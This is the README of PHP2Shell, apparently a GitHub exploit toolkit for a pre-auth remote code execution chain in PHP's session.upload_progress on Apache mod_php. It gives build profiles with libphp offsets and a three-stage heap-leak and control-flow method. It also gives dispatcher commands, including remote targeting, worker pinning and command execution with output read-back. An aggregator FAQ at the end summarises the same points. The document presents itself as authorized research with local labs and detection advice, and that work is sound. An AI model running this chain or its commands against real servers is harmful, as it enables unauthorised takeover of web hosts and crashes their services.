php2shell README

The project's README from github.com/devploit/php2shell. As one markdown file: README.md.

PHP2Shell

Pre-auth RCE research toolkit for CVE-2026-109618 / CVE-2026-109619

exploit by devploit

A verified PHP2Shell run against the PHP 8.5.11 laboratory

Verified run against the local PHP 8.5.11 laboratory: uid=33(www-data).

Authorized testing only. Use this material exclusively against systems you own or have explicit, written permission to test. It is not a scanning tool, it ships no target list, and it must not be used against third-party infrastructure. The chain is disruptive: it sends large request bodies, triggers pre-RINIT out-of-memory conditions and kills Apache children.

PHP2Shell is a research workspace for the session.upload_progress OOM / stale-pointer chain in PHP's Apache module. It packages a version-aware dispatcher, a per-build profile engine, reproducible laboratories, a calibration factory and runtime instrumentation around the public research exploit by 9bie.

The goal is reproducible research and defensive validation, not mass exploitation. The dispatcher refuses to guess: it stops when the build has no verified profile, when the target is a fixed release, or when the target OS does not match the profile.


Status

Build Image Profile Heap leak libphp leak RCE Notes
PHP 8.5.11 aarch64 php:8.5.11-apache php-8.5.11-bookworm-aarch64 yes yes yes uid=33(www-data)
PHP 8.5.11 amd64 php:8.5.11-apache php-8.5.11-bookworm-amd64 yes yes yes separate offsets, same htdata
PHP 8.5.10 aarch64 php:8.5.10-apache php-8.5.10-bookworm-aarch64 yes yes yes uid=33(www-data)
PHP 8.4.26 amd64 php:8.4.26-apache php-8.4.26-bookworm-amd64 yes yes yes reference build
PHP 8.4.25 aarch64 php:8.4.25-apache php-8.4.25-bookworm-aarch64 yes yes yes probabilistic stage 3; retries
PHP 8.5.0 aarch64 php:8.5.0-apache php-8.5.0-bookworm yes yes no stage-3 layout not found
PHP 8.3.35 aarch64 php:8.3.35-apache php-8.3.35-bookworm-aarch64 yes yes no stage-3 reference alive
PHP 8.3.33 mod_php wordpress:7.1.1-apache php-8.3.33-wordpress-mod_php yes yes no stage-3 reference alive
PHP 8.3.0 aarch64 php:8.3.0-apache php-8.3.0-bookworm no no no PS(id) dangling; cookie not reclaimed
PHP 8.2.34 aarch64 php:8.2.34-apache php-8.2.34-bookworm-aarch64 no no no UAF; leak shape differs
PHP 8.1.34 aarch64 php:8.1-apache php-8.1.34-bookworm-aarch64 no no no UAF; leak shape differs
PHP 8.0.30 aarch64 php:8.0-apache php-8.0.30-bookworm-aarch64 no no no UAF; leak shape differs
PHP 7.4.33 aarch64 php:7.4-apache php-7.4.33-bookworm-aarch64 no no no UAF; leak shape differs
PHP 8.2.0 aarch64 php:8.2.0-apache — (offsets only) n/a n/a no no heap profile

13 heap profiles, 5 with verified RCE. Offsets extracted for 12 builds.

Heap leak is stage 1, libphp leak is stage 2 and RCE is a real command proof on an isolated lab. no means not verified, not necessarily impossible; n/a means no heap profile exists for that build. The 8.2.0 row is an offsets-only entry. All yes rows use the lab configuration: Apache prefork mod_php, one worker, display_errors=On, memory_limit=8M and session.upload_progress=On. Per-image offsets and libphp sha256 are in the offset inventory. The 8.4.25 profile needs the default retries because its stage 3 is probabilistic.

Features

Quick start

Requirements: Python 3.11+, Docker (for the labs), Linux or macOS on arm64 or amd64. Fetch the pinned upstream:

python3 tools/bootstrap_upstream.py

The script clones the public 9bie research into vendor/php2shell-upstream and checks out the pinned commit. The toolkit applies the minimal SNI and heap-parameter changes in place at runtime; they are documented in docs/upstream-changes.md. No patch file is redistributed.

Start the local laboratories and run the dispatcher against the PHP 8.4.26 lab:

python3 tools/php2shell_labs.py up
python3 tools/php2shell_auto.py \
  -u http://127.0.0.1:8105/index.php \
  --container p2s-lab-8426 \
  --repo-dir vendor/php2shell-upstream

Expected shape:

  exploit by devploit  ·  CVE-2026-109618 / CVE-2026-109619
  automatic target detection, build profile dispatch and command execution
  authorized testing only

[*] CHAIN 01/01  automatic target detection / fixed command proof
00:00.00  DISCOVER   http://127.0.0.1:8105/index.php
00:00.01  OK         PHP 8.4.26  ·  Apache/2.4.69 (Debian)
00:00.01  PREFLIGHT  php-8.4.26-bookworm-amd64
00:00.15  PROBE      memory_limit probe: 16 MiB body
00:00.16  OK         detected memory_limit=8M
00:00.17  EXECUTE    memory_limit=8M  ·  huge_mb=12
   │ [+] chunk base = 0x7ffffc400000
   │ [+] libphp base = 0x7ffffe013000
   │ PROOF: uid=33(www-data) gid=33(www-data) groups=33(www-data)

╭─ RESULT ─────────────────────────────────────────────────────────╮
│ PRE-AUTH RCE CONFIRMED                                           │
╰──────────────────────────────────────────────────────────────────╯

Useful entry points:

python3 tools/php2shell_auto.py --list          # profiles and RCE status
python3 tools/php2shell_auto.py -u <target> --dry-run --no-color
python3 tools/php2shell_auto.py -u <target> --php-version 8.4.26 --arch amd64 --allow-remote
python3 tools/php2shell_labs.py status
python3 tools/php2shell_inventory.py

How it works

The chain abuses the session.upload_progress callback that runs before the request startup (pre-RINIT) and therefore before the target script:

  1. Stage 1 — heap leak. A multipart request drives the parser into an out-of-memory bailout after php_session_track_init() built the session state. The next request reuses the stale PS(id) and returns a Set-Cookie whose value contains heap pointers, revealing the Zend MM chunk base.
  2. Stage 2 — libphp leak. The same stale-state primitive is reshaped to disclose a pointer into libphp.so, revealing its load base.
  3. Stage 3 — control flow. A forged HashTable/reference lands on the stale session state; the zval_ptr_dtor path calls zif_system with a short command carried in a fake zend_string.

The full technical write-up, including the session lifecycle and the heap grooming, is in docs/php2shell-analysis.md.

A profile is per build:

{
  "libphp": { "zif_system": "0x465370", "zval_ptr_dtor": "0x65eb60", "htdata": "0x690d8" },
  "stages": { "stage1_n": 841, "stage1_forge_len": 79, "stage2_t": 406,
              "stage2_v": 16, "stage3_pads": [[31, 31]], "stage3_carrier": true },
  "oom_mb": 12,
  "rce": true
}

Architecture selection

Some versions ship more than one build. PHP 8.5.11 has separate aarch64 and amd64 offsets:

Configuration requirements

The shipped calibration targets:

A hardened production PHP (128M+, display_errors=Off, multiple workers, FPM) does not match the shipped calibration. Multi-worker targets are handled with --pin-workers; display_errors=Off and FPM remain open research items (see Limitations).

Multi-worker targets

The stale session state is per worker. Without pinning, stage 1's A/B requests land on different children and the leak fails:

--pin-workers 4        # hold 3 workers with keep-alive, leave one free
--pin-workers auto     # loopback default: count workers in the container
--no-pin-workers       # disable pinning

For loopback targets the count is detected automatically. For remote targets pinning is opt-in: it opens keep-alive connections until a request stops being answered, which is intrusive and only appropriate on authorized infrastructure. --pin-max N bounds the connections (default 32).

Commands and proof

A remote -c command is limited to 14 bytes (the fake zend_string carrier). On a local lab the dispatcher stages the command in /out/c, runs sh</out/c and captures the output:

-c 'id'                       # short
-c 'id; uname -a; whoami'     # any length on a local lab
--script ./cmd.sh             # batch
--interactive                 # REPL; one full chain per command

Local targets read the container's /out mount directly. Remote targets use id>p1 and fetch /p1 automatically; --fetch PATH overrides and --no-fetch disables the read-back. A remote command that writes outside the webroot, or a server that does not serve the file, will execute blind: no proof does not necessarily mean no execution.

Speed

The dispatcher probes the target memory_limit from one request's fatal message. Measured locally: 7.0 s for 8M and 13.5 s for 128M (probe + one chain), versus several minutes for a blind sweep.

--memory-limit-mb 128   # skip the probe
--retries 1             # fewer attempts (stage 3 uses retries+2)
--no-pre-rotate         # skip the initial rotation
--no-retry-rotate       # no rotation between failures
--no-probe              # disable the probe

Upstream integration

The chain itself is the public research by 9bie. The upstream repository has no explicit license, so its source is not vendored in this repository. Instead:

If you prefer a git dependency, use a submodule instead of the bootstrap:

git submodule add https://github.com/9bie/php2shell-bypass-aslr-exp vendor/php2shell-upstream
git -C vendor/php2shell-upstream checkout 4586f5c
# the toolkit applies the documented runtime changes in place

Repository layout

catalog/vulnerable.json        vulnerable branches and fixed releases
.github/workflows/ci.yml       tests and gitleaks
profiles/*.json                heap profiles (offsets, heap params, verified flag)
profiles/offsets/*.json        ELF symbol offsets per image
vendor/                        generated upstream checkout (git-ignored)
tools/
  php2shell_auto.py            version-aware dispatcher
  php2shell_calibrate.py       profile generator with proof verification
  php2shell_matrix.py          profile factory over image tags
  php2shell_rce.py             manual upstream launcher
  php2shell_assess.py          exposure/leak assessment (no RCE claim)
  php2shell_labs.py            disposable local laboratories
  php2shell_offsets.py         ELF offset extraction for any image
  php2shell_inventory.py       profile/offset table
  php2shell_paths.py           upstream checkout resolution
  php2shell_upstream.py        in-place SNI/heap-parameter changes
  bootstrap_upstream.py        fetch and pin the upstream
  php2shell_ui.py              terminal UI
lab/
  wordpress/                   WordPress 8.3.33 + mod_php laboratory
  rce/                         single-worker calibration lab and configs
docs/
  php2shell-analysis.md        technical analysis
  rce-guide.md                 full RCE guide and profile schema
  exploit-report.md            laboratory results
  labs.md                      laboratory reference
  safe-lab.md                  harmless OOM laboratory
  profile-inventory.md         profile table
  offset-inventory.md          libphp offsets per build
  inventory-growth.md          coverage roadmap
  branch-notes.md              per-branch findings
  upstream-changes.md          manual record of the runtime changes
  licensing.md                 MIT and upstream licensing notes
  instrumentation/             /proc oracle and gdb recipes
  es/                          Spanish originals

Laboratories and calibration

python3 tools/php2shell_labs.py up      # 7.4.33 ... 8.5.11 on :8100-:8106
python3 tools/php2shell_labs.py test    # run the dispatcher against each lab
python3 tools/php2shell_labs.py down

Every lab binds to 127.0.0.1, runs one worker with the calibration php.ini/apache.conf and mounts an /out directory for proof collection.

Generate a profile for a new build:

python3 tools/php2shell_calibrate.py \
  --target http://127.0.0.1:8105/index.php \
  --container p2s-lab-8426 \
  --repo-dir vendor/php2shell-upstream \
  --proof-file lab/rce/out/8.4.26/p1 \
  --distro bookworm

--distro, --arch and the image tag determine the profile name. Stage 1 and 2 are discovered automatically; stage 3 is attempted with the known layouts and rce: true is written only after a real command proof.

Instrumentation

docs/instrumentation/ contains a read-only /proc/<pid>/mem oracle (mem_dump.php, id_dump.php), the ps_globals offsets for every build and gdb recipes used to inspect the session reference, the fake HashTable and the OOM path. The native-amd64 recipes cover Apache under gdb with SYS_PTRACE and zend_mm_heap offsets.

The oracle is how the branch findings were measured: for example, on 8.3.35 the session reference is still alive (refcount=2, val.type=IS_ARRAY) after the OOM, which is why the 8.4/8.5 stage-3 carrier does not transfer.

Detection and defense

Limitations

Documentation

Ethics and acceptable use

This project exists for authorized security testing, defensive validation and reproducible research. The full policy is in ACCEPTABLE_USE.md.

The authors accept no liability for misuse or damage. The license does not grant authorization to test any system.

Contributing

Contributions are welcome when they improve reproducibility. Read CONTRIBUTING.md for the profile workflow, tests and the pull request checklist.

Examples:

Please do not include real target data, credentials, or logs from systems you do not own. Open an issue or a pull request with the profile, the evidence and the commands used.

Run the suite before opening a pull request:

python3 -m unittest discover -s tests -v

Credits

This toolkit does not claim discovery of the CVE. If a credit is missing or inaccurate, please open an issue.

License

MIT for the original code. See LICENSE and docs/licensing.md for the upstream boundary. The license grants copyright permissions only; it does not authorize testing any system.

php2shell (devploit/php2shell)

cybersecurity-tools
Searching Database…

What is this?PHP2Shell is a research toolkit for CVE-2026-109618 / CVE-2026-109619, a pre-auth remote code execution bug in PHP's session.upload_progress feature on mod_php (Apache). It packages a version-aware dispatcher, per-build exploit profiles, reproducible Docker labs, a heap-calibration factory and detection guidance around the public proof-of-concept research by 9bie.
Is this a scanner I can point at any server?No. It is a research and exploitation toolkit built around named build profiles, not a scanner: it ships no target list, refuses to run without a matching profile, and is meant only for authorized testing against systems you own or have written permission for.
How do I get it running?Install the Python requirements, run the bootstrap script to clone the pinned 9bie research commit into vendor/php2shell-upstream, then spin up the local Docker labs and run the dispatcher against a chosen build, like the PHP 8.4.26 reference lab.
What do I need installed before I start?Python 3.11+ and Docker for the labs, on Linux or macOS, arm64 or amd64; the shipped profiles only cover Apache prefork with mod_php, not PHP-FPM.
Does it work against any PHP version I throw at it?No — only 13 build/architecture combinations have calibrated heap profiles, and full verified RCE is confirmed on just 5 of them. Several other builds only leak memory without a verified stage-3 hijack, PHP-FPM isn't supported at all, and the chain is disruptive enough to crash Apache worker processes.
Is the exploit code itself open source?The toolkit wrapper is MIT-licensed, but the underlying research chain by 9bie that it wraps has no license upstream, so that exploit source isn't vendored in this repo and is instead cloned at install time.
What exact bug does the exploit abuse?It abuses the session.upload_progress callback that fires before request startup (pre-RINIT): a crafted multipart request drives PHP into an out-of-memory bailout, leaks heap and libphp pointers through a stale session cookie, then forges a HashTable whose destructor calls system() with an attacker command.
Can I run this against a remote target, not just the local labs?Yes, but remote mode is much more limited: commands are capped at 14 bytes, worker pinning becomes an intrusive opt-in step on remote infrastructure, and proof of execution isn't guaranteed if the output file isn't web-servable.
How many PHP builds actually get full RCE?Of 13 calibrated heap profiles, only 5 reach verified remote command execution — notably PHP 8.4.26 and PHP 8.5.10/8.5.11 on both aarch64 and amd64 — while several others (like 8.3.x and 8.5.0) only confirm the memory leaks without a working stage-3 hijack.
How would I detect or defend against this chain?Patch to the fixed releases (8.4.27/8.5.12), set session.upload_progress.enabled=Off if you don't need it, and watch for repeated multipart-OOM/500 responses plus Apache child crashes as detection signals.
Creator
devploit
Size
0.8 MB
Stars
161
Updated
CommitOct 22
Age
4d
Commits · 90 Days